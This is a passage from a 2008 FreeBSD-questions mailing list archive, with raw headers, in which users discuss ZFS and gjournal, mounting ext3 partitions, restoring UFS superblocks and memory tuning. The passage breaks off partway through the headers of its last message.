Dec 2008 13:22:06 -0500 Received: by shell.siscom.net (Postfix, from userid 2198) id 2E149115529; Wed, 3 Dec 2008 13:22:06 -0500 (EST) Received: by kev.msw.wpafb.af.mil (Postfix, from userid 32768) id 2CED3B7C5; Wed, 3 Dec 2008 13:21:47 -0500 (EST) To: freebsd-questions@freebsd.org In-reply-to: <139b44430811300745v350d25b7p680287d9a24544fe@mail.gmail.com> (valentin.bud@gmail.com) Organization: Oasis Systems Inc. X-Disclaimer: I don't speak for the USAF or Oasis. X-GPG-ID: 1024D/711752A0 2006-06-27 Karl Vogel X-GPG-Fingerprint: 56EB 6DBF 4224 C953 F417 CC99 4C7C 7D46 7117 52A0 Message-Id: <20081203182147.2CED3B7C5@kev.msw.wpafb.af.mil> Date: Wed, 3 Dec 2008 13:21:47 -0500 (EST) From: vogelke+software@pobox.com (Karl Vogel) Subject: Re: 5 TB server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: vogelke+software@pobox.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 18:48:25 -0000 >> On Sun, 30 Nov 2008 17:45:40 +0200, >> "Valentin Bud" said: V> I perfectly agree with you and yes there might be monsters out there V> in the ZFS on FreeBSD but the fact that us (the community) embrace V> the change and apply it makes the development of it possible and even V> faster. I'm all in favor of more development as far as weeding out the corner cases is concerned. I just don't want one of those cases to be found on my production server. V> I have thought about a decent UPS and already told them that they V> should install an alarm system of some sort because neither I nor any V> IT company can warranty them physical security. Physical security is their problem; just make sure you point that out so you're not on the hook for it. The UPS is essential; power isn't terribly clean (from an IT perspective) where I work, and I'm not exactly in the backwoods of America. V> The room is not possible :|, that would have been great. What do you V> think about a rack of some sort? Make sure your rack has plenty of room for ventilation. My only complaints about racks are too much server crowding and noise. -- Karl Vogel I don't speak for the USAF or my company Why Trick or Treating is Better than Sex #6: It's OK when the person you're with fantasizes you're someone else, because you are. From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 18:59:20 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 52301106564A for ; Wed, 3 Dec 2008 18:59:20 +0000 (UTC) (envelope-from patfbsd@davenulle.org) Received: from smtp.lamaiziere.net (net.lamaiziere.net [91.121.44.19]) by mx1.freebsd.org (Postfix) with ESMTP id 15A358FC0A for ; Wed, 3 Dec 2008 18:59:20 +0000 (UTC) (envelope-from patfbsd@davenulle.org) Received: from baby-jane.lamaiziere.net (246.10.87-79.rev.gaoland.net [79.87.10.246]) by smtp.lamaiziere.net (Postfix) with ESMTPA id D4DFF633676; Wed, 3 Dec 2008 19:59:18 +0100 (CET) Received: from baby-jane (localhost [127.0.0.1]) by baby-jane.lamaiziere.net (Postfix) with ESMTP id CAB7D66E00F; Wed, 3 Dec 2008 19:59:17 +0100 (CET) Date: Wed, 3 Dec 2008 19:59:16 +0100 From: Patrick =?ISO-8859-15?Q?Lamaizi=E8re?= To: Wojciech Puchar Message-ID: <20081203195916.7a62ea23@baby-jane> In-Reply-To: <20081203152044.I47300@wojtek.tensor.gdynia.pl> References: <20081203134633.57adc024@baby-jane> <20081203145731.U47196@wojtek.tensor.gdynia.pl> <20081203152044.I47300@wojtek.tensor.gdynia.pl> Organization: /dave/nulle X-Mailer: Claws Mail 3.3.1 (GTK+ 2.12.9; i386-apple-darwin9.3.0) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 8bit Cc: freebsd-questions@freebsd.org Subject: Re: Best Journaling File System - ZFS/??? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 18:59:20 -0000 Le Wed, 3 Dec 2008 15:21:19 +0100 (CET), Wojciech Puchar a écrit : > >>> I use gjournal since FreeBSD 7.0 and it seems to work fine. > >> is it really smart enough to not write everything twice or am i > >> wrong? > > > > It writes everything twice :) > > > > (but every journaling system has to write something twice) > > there is a big difference between something (metadata, short data > writes and everything (like huge file data) I don't know how Gjournal works, but it works below the filesystem (so i think it is not aware of metadata), see http://lists.freebsd.org/pipermail/freebsd-current/2006-June/064043.html From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 19:45:25 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 51CE91065672 for ; Wed, 3 Dec 2008 19:45:25 +0000 (UTC) (envelope-from fernando.apesteguia@gmail.com) Received: from yx-out-2324.google.com (yx-out-2324.google.com [74.125.44.30]) by mx1.freebsd.org (Postfix) with ESMTP id EEC968FC24 for ; Wed, 3 Dec 2008 19:45:24 +0000 (UTC) (envelope-from fernando.apesteguia@gmail.com) Received: by yx-out-2324.google.com with SMTP id 8so1550719yxb.13 for ; Wed, 03 Dec 2008 11:45:24 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:mime-version:content-type:content-transfer-encoding :content-disposition; bh=6yjoZzXW2f9YESTCo99TX5+UgW3BpdPyjdmNzPnEIaY=; b=pIe5lcmqd+FPf39C+cxK8KcAl1sRL1hdhiGd+64vo3yaqLhcfdDuG0QSYwzUsL469W txwiRLOj1+PuCPi9MREMdr06o9tBpFlPAR8CRwvqOMHuik96GFHMixS9a9DEPRTTQ1p5 TDnh01/KU7Y/PHZNhJXENi/Jo7QuPj/4+QK5s= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type :content-transfer-encoding:content-disposition; b=nDHZ0LzEsPp73h1Drn/pObdJBUSkdG4ECd01CBkiHfB6OL/npBPYjuKi36AnEAtAdM 2s5jUWHH16pyn6nJ2gJKNMgMZ/+/xArB2sEy119C+S8JsPp/Rk53SuJ7J49fj+uwYBCk gI0XA4aC5vuZN2Rfvce8SzUbP8U8MGT5iT780= Received: by 10.142.48.14 with SMTP id v14mr3166292wfv.122.1228333523664; Wed, 03 Dec 2008 11:45:23 -0800 (PST) Received: by 10.142.180.20 with HTTP; Wed, 3 Dec 2008 11:45:23 -0800 (PST) Message-ID: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> Date: Wed, 3 Dec 2008 20:45:23 +0100 From: "=?ISO-8859-1?Q?Fernando_Apestegu=EDa?=" To: FreeBSD MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: Mounting ext3fs partition X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 19:45:25 -0000 Hi all, I'm running FreeBSD 7.1-BETA2. I have several partitions/filesystems in my computer and I would like to have full access to all of them. I've mounted the NTFS partition without problems (though it is read-only, it's enough for me) I've compiled the kernel with the EXT2FS option. I can mount the partition with: mount -t ext2fs /dev/ad4s1 /mnt/linux note: the partition is actually a ext3fs... But if I enter the mount point and do "ls", I get: ls: /mnt/linux: Bad file descriptor What am I doing wrong? From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 19:46:44 2008 Return-Path: Delivered-To: Questions@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F294D106567A for ; Wed, 3 Dec 2008 19:46:44 +0000 (UTC) (envelope-from dokpm0@Phideaux.RawFedDogs.net) Received: from Phideaux.RawFedDogs.net (Phideaux.RawFedDogs.net [64.251.15.37]) by mx1.freebsd.org (Postfix) with ESMTP id C9B608FC20 for ; Wed, 3 Dec 2008 19:46:44 +0000 (UTC) (envelope-from dokpm0@Phideaux.RawFedDogs.net) Received: from [24.167.59.175] (helo=Blaidd-Drwg.RawFedDogs.net) by Phideaux.RawFedDogs.net with esmtpa (Exim 4.69 (FreeBSD)) (envelope-from ) id 1L7xKe-0003WG-Ea for Questions@FreeBSD.org; Wed, 03 Dec 2008 13:24:24 -0600 Date: Wed, 3 Dec 2008 13:24:09 -0600 (CST) From: Kevin Monceaux X-X-Sender: dokpm0@Blaidd-Drwg.RawFedDogs.net To: FreeBSD Questions Mailing List Message-ID: User-Agent: Alpine 2.00 (LNX 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; format=flowed; charset=US-ASCII Sender: dokpm0@Phideaux.RawFedDogs.net Cc: Subject: Returning User With Filesystem/Memory Tuning Questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 19:46:45 -0000 FreeBSD Fans, I think I've just about talked myself into coming back for another try. I've been a Linux user since the 1.x kernel days. I've tried switching my home desktop box to FreeBSD a couple of times now. The first time around was mainly to give ZFS a try. After getting tired of ZFS related crashes I ended up going back to Linux. After ZFS progressed a bit, and I had taken lots of notes on the tuning needed to make ZFS relatively happy, I tried again. That time around I got ZFS working fairly well but eventually got fed up with the lack of a stable flash plugin. On the one hand, I hate sites that try to force flash upon users. On the other hand, if someone sends me a link to an amusing sounding YouTube video or I want to view the radar map at Weather.com, etc., it's a pain to be among the flash impaired. I've been browsing the mailing lists from time to time and it sounds like flash is working well enough for the limited times I'd use it, so I'm considering giving it one more try. With any of the following questions any suggestions, including RTSM(Read The Smeggin Manual) suggestions, are welcomed. With RTSM suggestions, they are even more welcomed if they include which manual and section to read. :-) First, to ZFS or not to ZFS, that is the question. While I like some of the features ZFS has to offer, I realize it may be overkill for my needs. The main thing I'm looking for is the ability to combine all the space available on both hard drives of my home desktop box. One drive is 120GB and the other is 250GB. Well, actually, I think those are marketing gigabytes. I'd be happy with either having all the space combined and available to the root filesystem, or a separate UFS root filesystem and the remaining space available for everything else. The last time around I set up root on UFS + /var, /usr, /home, /tmp, etc., on ZFS using instructions which I think were located at: http://wiki.FreeBSD.org/JeremyChadwick/FreeBSD_7.x_on_a_ZFS_pool though that page appears to no longer exist. Could something like gvinum or gconcat be used to achieve the above or should I go with ZFS? The box in question is a hyperthreaded Pentium 4 with 3GB of RAM. If ZFS is a good choice, could someone point me towards the current tuning recommendations for ZFS? If I remember correctly, the last time around I had some occasional memory related application crashes. For example I had pan crash a few times trying to open a large newsgroups. At the times of the crashes it appeared there was still plenty of free RAM and swap space was never even touched. I know FreeBSD doesn't blindly allocate memory like Linux does, but I would like to tune things to take full advantage of my available memory. I searched Google and tweaked some settings, though I forget which ones, which helped but didn't completely eliminate the crashes. What settings should I be looking at to tune to make the best use of my 3GB of memory and swap space. The last time around I set up quite a bit of swap space and it didn't appear to ever be touched. I want to keep swapping to a minimum but would prefer to have a little swapping going on than to have a program crash trying to allocate memory when there's both RAM and swap space available. Taking the above filesystem question into consideration, and wanting a stable flash plugin, which FreeBSD version should I be going with? I forget what I was running last time, but RELENG_7 sounds familiar. Is the 7.1-BETA2 iso recent enough or do I need to go with some flavor of STABLE or CURRENT? Kevin http://www.RawFedDogs.net http://www.WacoAgilityGroup.org Bruceville, TX Si hoc legere scis nimium eruditionis habes. Longum iter est per praecepta, breve et efficax per exempla!!! From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 19:56:05 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C08EE1065675 for ; Wed, 3 Dec 2008 19:56:05 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id 81D9A8FC0C for ; Wed, 3 Dec 2008 19:56:05 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from r55.edvax.de (port-92-196-24-200.dynamic.qsc.de [92.196.24.200]) by mx01.qsc.de (Postfix) with ESMTP id 18ACF3C6BA; Wed, 3 Dec 2008 20:55:56 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id mB3Jttbb003743; Wed, 3 Dec 2008 20:55:55 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Wed, 3 Dec 2008 20:55:54 +0100 From: Polytropon To: =?ISO-8859-1?Q?"Fernando_Apestegu=EDa"?= Message-Id: <20081203205554.af97775e.freebsd@edvax.de> In-Reply-To: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> References: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: FreeBSD Subject: Re: Mounting ext3fs partition X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 19:56:05 -0000 On Wed, 3 Dec 2008 20:45:23 +0100, "Fernando Apestegu=EDa" wrote: > But if I enter the mount point and do "ls", I get: >=20 > ls: /mnt/linux: Bad file descriptor >=20 > What am I doing wrong? Do you get the same error when the Linux partition is not mounted? I'm asking because I have a similar problem caused from a defective / missing inode. --=20 Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 19:58:58 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1A079106564A for ; Wed, 3 Dec 2008 19:58:58 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 8695E8FC13 for ; Wed, 3 Dec 2008 19:58:55 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB3Jwloi048149; Wed, 3 Dec 2008 20:58:47 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB3JwlfG048146; Wed, 3 Dec 2008 20:58:47 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Wed, 3 Dec 2008 20:58:47 +0100 (CET) From: Wojciech Puchar To: PJ In-Reply-To: <4936C1CA.2040501@videotron.ca> Message-ID: <20081203205836.I48129@wojtek.tensor.gdynia.pl> References: <4936C1CA.2040501@videotron.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: restore superblock X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 19:58:58 -0000 fsck_ffs -b An alternate super block is usually located at block 32 for UFS1, and block 160 for UFS2. On Wed, 3 Dec 2008, PJ wrote: > I have been googling for superblock restore and things are a bit confusing. > Some of the commands don't seem to match current fsck parameters (notably -b > doesn't exist. > Apparently I should be able to reconstruct the superblock(s) on my /usr > partition (slice ?) as my searches found that there are backups of the > superblocks on the files systems. > But how do I find them and restore the corrupt ones? Not clear in my > searches. > I have another installation of fbsd 7.0 on another machine with the > partitioning identical and identical hdds. > How could I use the superblock and/or other information from the good > installation to repair the damaged one - or would it be possible to recover > the superblock info from the damaged one's backcups? > Phil Jourdan > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > > From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 20:05:39 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 002C81065677 for ; Wed, 3 Dec 2008 20:05:38 +0000 (UTC) (envelope-from fernando.apesteguia@gmail.com) Received: from mail-gx0-f19.google.com (mail-gx0-f19.google.com [209.85.217.19]) by mx1.freebsd.org (Postfix) with ESMTP id 9EDF88FC0A for ; Wed, 3 Dec 2008 20:05:38 +0000 (UTC) (envelope-from fernando.apesteguia@gmail.com) Received: by gxk12 with SMTP id 12so2570452gxk.19 for ; Wed, 03 Dec 2008 12:05:38 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=UK76u2XDoPvheaYr/rPRDgyPUVf801V4ErRGbn7Fc8s=; b=F5yoxbJBVv6YFyRcL1Y3pnHCwdkVrGiQIeMt3LDTDOM8NJfpYUAONrPtIv+a0HZpF6 HnrUfp2KfH7zXbLQMQ9d4tLUcA4Rh4XtS03/I/OjLt6ZfiDVVDBgW2eFFVpntRUi1oHx JfbZ9BL5ws5BmvORG8oQdRC38l0SvwodCtplA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=FqZwIkQ9FF1+zH3DgKh9KsXeGlTZCiqWXDcS+VgbIN6IpVq3fbGM10j37aZCZY4H8E e9yyOH1Krzbg+pFd5OxlbLS5HwKgS7JtDr76Y5781cOq4/rSzD0CjZzJs523qu4XQmrY TrvMunM+dx5NYZMVEs5nIzOkr8bXAFcqtuL3U= Received: by 10.142.135.13 with SMTP id i13mr2987177wfd.217.1228334382172; Wed, 03 Dec 2008 11:59:42 -0800 (PST) Received: by 10.142.180.20 with HTTP; Wed, 3 Dec 2008 11:59:42 -0800 (PST) Message-ID: <1bd550a00812031159gff32d35kd57019bcc2530e49@mail.gmail.com> Date: Wed, 3 Dec 2008 20:59:42 +0100 From: "=?ISO-8859-1?Q?Fernando_Apestegu=EDa?=" To: Polytropon In-Reply-To: <20081203205554.af97775e.freebsd@edvax.de> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> <20081203205554.af97775e.freebsd@edvax.de> Cc: FreeBSD Subject: Re: Mounting ext3fs partition X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 20:05:39 -0000 On Wed, Dec 3, 2008 at 8:55 PM, Polytropon wrote: > On Wed, 3 Dec 2008 20:45:23 +0100, "Fernando Apestegu=EDa" wrote: >> But if I enter the mount point and do "ls", I get: >> >> ls: /mnt/linux: Bad file descriptor >> >> What am I doing wrong? > > Do you get the same error when the Linux partition is not > mounted? I'm asking because I have a similar problem caused > from a defective / missing inode. No, I don't get any errors if the filesystem is not mounted. But thanks for the hint, I didn't think about that possibility. Any clues? > > > > > -- > Polytropon > From Magdeburg, Germany > Happy FreeBSD user since 4.0 > Andra moi ennepe, Mousa, ... > From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 20:06:02 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C725E1065670 for ; Wed, 3 Dec 2008 20:06:02 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id E6DFB8FC23 for ; Wed, 3 Dec 2008 20:06:01 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB3K5mJW048195; Wed, 3 Dec 2008 21:05:48 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB3K5mkD048192; Wed, 3 Dec 2008 21:05:48 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Wed, 3 Dec 2008 21:05:48 +0100 (CET) From: Wojciech Puchar To: Patrick =?ISO-8859-15?Q?Lamaizi=E8re?= In-Reply-To: <20081203195916.7a62ea23@baby-jane> Message-ID: <20081203210446.X48157@wojtek.tensor.gdynia.pl> References: <20081203134633.57adc024@baby-jane> <20081203145731.U47196@wojtek.tensor.gdynia.pl> <20081203152044.I47300@wojtek.tensor.gdynia.pl> <20081203195916.7a62ea23@baby-jane> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: Best Journaling File System - ZFS/??? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 20:06:02 -0000 > > I don't know how Gjournal works, but it works below the filesystem (so ^^^^^^^^^^^^^^^^^^^^^^^^^^ next lines shows you actually know. thanks for answer, for me it's definitely not worth using, i would prefer waiting for fsck every few months or less than to have much slower writes > i think it is not aware of metadata), see > http://lists.freebsd.org/pipermail/freebsd-current/2006-June/064043.html > > From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 20:08:52 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D59F71065677 for ; Wed, 3 Dec 2008 20:08:52 +0000 (UTC) (envelope-from josh.carroll@gmail.com) Received: from yx-out-2324.google.com (yx-out-2324.google.com [74.125.44.28]) by mx1.freebsd.org (Postfix) with ESMTP id 8867B8FC12 for ; Wed, 3 Dec 2008 20:08:52 +0000 (UTC) (envelope-from josh.carroll@gmail.com) Received: by yx-out-2324.google.com with SMTP id 8so1557188yxb.13 for ; Wed, 03 Dec 2008 12:08:51 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:reply-to :to:subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=Tc/dXn3vXxyUOgssafvJCzP2lCOnNhGTYm/XobyOKwI=; b=cIVKdjH9JilYweLCvF1Oq80XZ0aW3SlIDAD91yA9ZWEvfymmtTmeNZ4I1V/PJ0FfcM NFKsOAg6R7hSBmyAiD4ReoO4dXnkjcFQkkUJRzstnULQG8tc/zvVfhshaKWEyveux/05 5HF7sghHMoMr6TsEquCXNd2ov+T7NLr740R+c= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:reply-to:to:subject:cc:in-reply-to :mime-version:content-type:content-transfer-encoding :content-disposition:references; b=D2bR9HqwAF8w7cb8cgzIvEf20ZaKHEK4oF9jSfV5zocjVPkYS5S+R+hEIWAQxc9UjS t7Qm/06POCLwCkrOH+Qb5GkGseN91yADQSeK/82j9D5cQt5oolO3r5ZjjT+8uei1RdQ0 AiaVqf9BMBS0vSqkBFFSY+NibqOizK0kVrLuA= Received: by 10.151.9.1 with SMTP id m1mr11520862ybi.179.1228334931784; Wed, 03 Dec 2008 12:08:51 -0800 (PST) Received: by 10.150.123.1 with HTTP; Wed, 3 Dec 2008 12:08:51 -0800 (PST) Message-ID: <8cb6106e0812031208k62c0979cjc97dd9fcdeb43b32@mail.gmail.com> Date: Wed, 3 Dec 2008 15:08:51 -0500 From: "Josh Carroll" To: "=?ISO-8859-1?Q?Fernando_Apestegu=EDa?=" In-Reply-To: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> Cc: FreeBSD Subject: Re: Mounting ext3fs partition X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: josh.carroll@gmail.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 20:08:52 -0000 On Wed, Dec 3, 2008 at 2:45 PM, Fernando Apestegu=EDa wrote: > Hi all, > > I'm running FreeBSD 7.1-BETA2. I have several partitions/filesystems > in my computer and I would like to have full access to all of them. > > I've mounted the NTFS partition without problems (though it is > read-only, it's enough for me) > > I've compiled the kernel with the EXT2FS option. I can mount the partitio= n with: > > mount -t ext2fs /dev/ad4s1 /mnt/linux > > note: the partition is actually a ext3fs... > > But if I enter the mount point and do "ls", I get: > > ls: /mnt/linux: Bad file descriptor Is is possible you are running into a case where the inode size of the partition is not the previous default for e2fsprogs of 128. I have a patch that addresses this, but I am hesitant to suggest it, since I have not yet validated that it does not trample some additional ext2 metadata. However, in the testing I've done, it has worked with all the tests I've put it through. You can verify the inode size with: tune2fs -l /dev/ad4s1 | grep "Inode size" It is likely 256 (the new e2fsprogs default), in which case you will not be able to see or use the mount without a fix. If you're interested in my patch, let me know and I can send it to you (the machine it is hosted on is down at the moment). Thanks, Josh From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 20:11:09 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 136BF1065675 for ; Wed, 3 Dec 2008 20:11:09 +0000 (UTC) (envelope-from dan-freebsd-questions@ourbrains.org) Received: from ourbrains.org (li48-221.members.linode.com [66.246.76.221]) by mx1.freebsd.org (Postfix) with SMTP id CE7868FC1B for ; Wed, 3 Dec 2008 20:11:08 +0000 (UTC) (envelope-from dan-freebsd-questions@ourbrains.org) Received: (qmail 27723 invoked by uid 1000); 3 Dec 2008 20:11:29 -0000 Date: Wed, 3 Dec 2008 15:11:29 -0500 From: Dan To: freebsd-questions@freebsd.org Message-ID: <20081203201129.GA27647@ourbrains.org> Mail-Followup-To: freebsd-questions@freebsd.org References: <4935183E.1030100@kikinovak.net> <20081202134902.A15234@wojtek.tensor.gdynia.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20081202134902.A15234@wojtek.tensor.gdynia.pl> User-Agent: Mutt/1.5.18 (2008-05-17) Subject: Re: Introduction X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 20:11:09 -0000 Wojciech Puchar(wojtek@wojtek.tensor.gdynia.pl)@2008.12.02 13:49:57 +0100: > > unfortunately i was too unaware of *BSD systems and used linux, until it > got so unusable with time i started to actively seek something else. What became unusable? Kernel or the userland? From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 20:11:29 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 96117106567B for ; Wed, 3 Dec 2008 20:11:29 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id 55D028FC21 for ; Wed, 3 Dec 2008 20:11:29 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from r55.edvax.de (port-92-196-24-200.dynamic.qsc.de [92.196.24.200]) by mx01.qsc.de (Postfix) with ESMTP id A08FA3D3ED; Wed, 3 Dec 2008 21:11:27 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id mB3KBPUd004606; Wed, 3 Dec 2008 21:11:25 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Wed, 3 Dec 2008 21:11:25 +0100 From: Polytropon To: =?ISO-8859-1?Q?"Fernando_Apestegu=EDa"?= Message-Id: <20081203211125.8dfc2842.freebsd@edvax.de> In-Reply-To: <1bd550a00812031159gff32d35kd57019bcc2530e49@mail.gmail.com> References: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> 